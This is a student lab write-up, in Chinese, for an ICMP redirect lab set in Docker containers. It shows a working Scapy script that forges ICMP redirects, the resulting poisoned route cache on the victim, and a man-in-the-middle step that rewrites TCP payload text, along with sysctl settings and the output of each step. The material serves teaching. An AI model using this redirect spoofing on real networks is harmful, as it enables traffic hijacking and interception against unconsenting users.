

# ICMP Redirect Attack Lab

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## Task 1: Launching ICMP Redirect Attack

执行 ip route:

```
root@076fef38cbb6:/# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0
root@076fef38cbb6:/#
```

可以看到, victim 容器目前使用 10.9.0.11 (即 192.168.60.11) 作为 192.168.60.0/24 的  
路由。在 victim-10.9.0.5 上执行 mtr -n 192.168.60.5:

```
My traceroute [v0.93]
076fef38cbb6 (10.9.0.5) 2021-07-15T01:04:35+0000
Keys: Help Display mode Restart statistics Order of fields
quit
Packets Pings
Host Loss% Snt Last Avg Best Wrst StDev
1. 10.9.0.11 0.0% 62 0.1 0.1 0.1 0.4 0.1
2. 192.168.60.5 0.0% 62 0.1 0.2 0.1 0.4 0.1
```

ira.py:

```
Open [v] ira.py Save [≡]
~/Desktop/Labs_20.04/Network Security/ICMP Redirect Attack Lab/Labsetup/volu...
1#!/usr/bin/python3
2
3from scapy.all import *
4
5ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
6icmp = ICMP(type=5, code=0)
7icmp.gw = "10.9.0.111"
8
9# The enclosed IP packet should be the one that
10# triggers the redirect message.
11ip2 = IP(src = "10.9.0.5", dst = "192.168.60.5")
12send(ip/icmp/ip2/ICMP())
```

在 victim-10.9.0.5 上 ping 192.168.60.5,

```
[07/14/21]seed@VM:~/../volumes$ docksh 0
root@076fef38cbb6:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.162 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.155 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.177 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.140 ms
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.141 ms
64 bytes from 192.168.60.5: icmp_seq=6 ttl=63 time=0.123 ms
64 bytes from 192.168.60.5: icmp_seq=7 ttl=63 time=0.129 ms
64 bytes from 192.168.60.5: icmp_seq=8 ttl=63 time=0.096 ms
64 bytes from 192.168.60.5: icmp_seq=9 ttl=63 time=0.130 ms
64 bytes from 192.168.60.5: icmp_seq=10 ttl=63 time=0.071 ms
64 bytes from 192.168.60.5: icmp_seq=11 ttl=63 time=0.132 ms
64 bytes from 192.168.60.5: icmp_seq=12 ttl=63 time=0.134 ms
64 bytes from 192.168.60.5: icmp_seq=13 ttl=63 time=0.127 ms
64 bytes from 192.168.60.5: icmp_seq=14 ttl=63 time=0.134 ms
64 bytes from 192.168.60.5: icmp_seq=15 ttl=63 time=0.157 ms
64 bytes from 192.168.60.5: icmp_seq=16 ttl=63 time=0.123 ms
64 bytes from 192.168.60.5: icmp_seq=17 ttl=63 time=0.131 ms
64 bytes from 192.168.60.5: icmp_seq=18 ttl=63 time=0.098 ms
64 bytes from 192.168.60.5: icmp_seq=19 ttl=63 time=0.103 ms
```

随后在 attacker-10.9.0.105 上执行 ira.py

```
root@8777f784ae83:/volumes# ./ira.py
.  
Sent 1 packets.  
root@8777f784ae83:/volumes# █
```

查看 victim-10.9.0.5 的路由缓存,

```
root@076fef38cbb6:/# ip route show cache  
192.168.60.5 via 10.9.0.111 dev eth0  
cache <redirected> expires 213sec
```

查看 victim-10.9.0.5 的路由路径,

```
Keys: Help  Display mode  Restart statistics  Order of fields  
quit  
Packets  
Pings  
Host      Loss%  Snt   Last   Avg    Best  Wrst  StDev  
1. 10.9.0.111  0.0%  52    0.2    0.4    0.1   11.1   1.5  
2. 10.9.0.11   0.0%  52    0.2    0.2    0.1    0.7    0.1  
3. 192.168.60.5 0.0%  52    0.1    0.2    0.1    0.4    0.1
```

根据以上截图可以判断, 攻击成功。

Q1:

重定向到其他地址: icmp.gw=10.103.186.61, 使 victim-10.9.0.5 ping192.168.60.5, 并在 attacker-10.9.0.105 上执行 ira.py, 查看路由缓存和路由路径:

```
Keys: Help  Display mode  Restart statistics  Order of fields  
quit  
Packets  
Pings  
Host      Loss%  Snt   Last   Avg    Best  Wrst  StDev  
1. 10.9.0.11  0.0%  38    0.2    0.1    0.1    0.3    0.0  
2. 192.168.60.5 0.0%  37    0.1    0.2    0.1    0.4    0.1
```

攻击失败, 原因可能是由于是无法直连外网主机, 因此寻找不到外网主机。

Q2:

重定向到本网段内的不存在主机的地址: icmp.gw=10.9.0.15, 使 victim-10.9.0.5 ping192.168.60.5, 并在 attacker-10.9.0.105 上执行 ira.py, 查看路由缓存和路由路径

```
Keys: Help  Display mode  Restart statistics  Order of fields  
quit  
Packets  
Pings  
Host      Loss%  Snt   Last   Avg    Best  Wrst  StDev  
1. 10.9.0.11  0.0%  9     0.1    0.2    0.1    0.2    0.0  
2. 192.168.60.5 0.0%  8     0.1    0.2    0.1    0.4    0.1
```

发现攻击失败。可能是因为是不存在这个地址的主机, 因此寻找不到目标。

Q3:

查看 docker-compose.yml 文件, 修改其 sysctls 属性为:

```
sysctls:  
- net.ipv4.ip_forward=1  
- net.ipv4.conf.all.send_redirects=1  
- net.ipv4.conf.default.send_redirects=1  
- net.ipv4.conf.eth0.send_redirects=1
```

使 victim-10.9.0.5 ping192.168.60.5, 并在 attacker-10.9.0.105 上执行 ira.py, 查看路由缓存和路由路径。

```

root@4749d272fef8:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.101 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.138 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.140 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.133 ms
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.188 ms
64 bytes from 192.168.60.5: icmp_seq=6 ttl=63 time=0.191 ms
From 10.9.0.111: icmp_seq=7 Redirect Host(New nexthop: 10.9.0.11)
64 bytes from 192.168.60.5: icmp_seq=7 ttl=63 time=0.162 ms
64 bytes from 192.168.60.5: icmp_seq=8 ttl=63 time=0.207 ms

```

Keys: Help		Display mode		Restart statistics		Order of fields		
quit		Packets		Pings				
Host	Loss%	Snt	Last	Avg	Best	Wrst	StDev	
1. 10.9.0.11	0.0%	12	0.1	0.2	0.1	0.4	0.1	
2. 192.168.60.5	0.0%	12	0.1	0.2	0.1	0.3	0.1	

发现 victim-10.9.0.5 收到了 10.9.0.111 重定向报文，但攻击失败。可能因为是开启了 Malicious Router-10.9.0.111 的 ICMP 重定向功能。Victim-10.9.0.5 遭受攻击向其寻址时，Malicious Router-10.9.0.111 返回了重定向报文，将其定向到了默认网关，纠正了错误。

## Task 2: Launching the MITM Attack

修改 docker-compose.yml 文件，将 net.ipv4.ip\_forward 设置为 0

```

malicious-router:
  image: handsonsecurity/seed-ubuntu:large
  container_name: malicious-router-10.9.0.111
  tty: true
  cap_add:
    - ALL
  sysctls:
    - net.ipv4.ip_forward=0
    - net.ipv4.conf.all.send_redirects=0
    - net.ipv4.conf.default.send_redirects=0
    - net.ipv4.conf.eth0.send_redirects=0
  privileged: true

```

在 host-192.168.60.5 上执行 nc -lp 9090，在 victim-10.9.0.5 上执行 nc 192.168.60.5 9090，建立 tcp 连接。

```

[07/14/21]seed@VM:~/.../Labsetup$ docksh 21
root@2179c448fa6b:/# nc 192.168.60.5 9090
1234

```

完成程序 mitm\_sample.py，将 tcp 报文 data 中的 'seedlabs' 字段改为 '57118138'。先执行 icmp 重定向攻击到 10.9.0.105 中，随后建立上述 tcp 连接，并在 10.9.0.105 上执行上述程序，发现攻击成功。

```

root@b334dacf9f1c:/# nc -lp 9090
57118138

```

Q1:

只需要捕获从 victim-10.9.0.5 到 host-192.168.60.5 的报文即可，因为 tcp 连接中信息源来自 victim。

Q2:

Filter=' tcp and src 10.9.0.5' 时, 发现 mitm 攻击成功, 但 mitm\_sample.py 程序无限循环发包。

在 victim=10.9.0.5 上运行 ifconfig, 查看 eth0 网卡对应的 mac 地址为 02:42:0a:09:00:05。

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
      inet 10.9.0.5 netmask 255.255.255.0 broadcast 10.9.0.255
      ether 02:42:0a:09:00:05 txqueuelen 0 (Ethernet)
      RX packets 3045 bytes 232377 (232.3 KB)
      RX errors 0 dropped 0 overruns 0 frame 0
      TX packets 222 bytes 17774 (17.7 KB)
      TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
```

修改 filter=' tcp and ether src 02:42:0a:09:00:05' , 再次执行攻击。

```
root@b334dacf9f1c:/# nc -lp 9090
57118138
```

攻击仍然成功, mitm\_sample.py 运行结果为:

```
root@32a48fe78c56:/volumes# ./mitm_sample.py
LAUNCHING MITM ATTACK.....
.
Sent 1 packets.
.
Sent 1 packets.
*** b'seedlabs\n', length: 9
.
Sent 1 packets.
█
```

发现程序仅发了一个包。原因是对 IP 进行过滤会导致程序捕捉到自己发送的欺骗包, 导致无限循环; 而根据 MAC 地址只会一开始 10.9.0.5 发出的包会被捕捉到。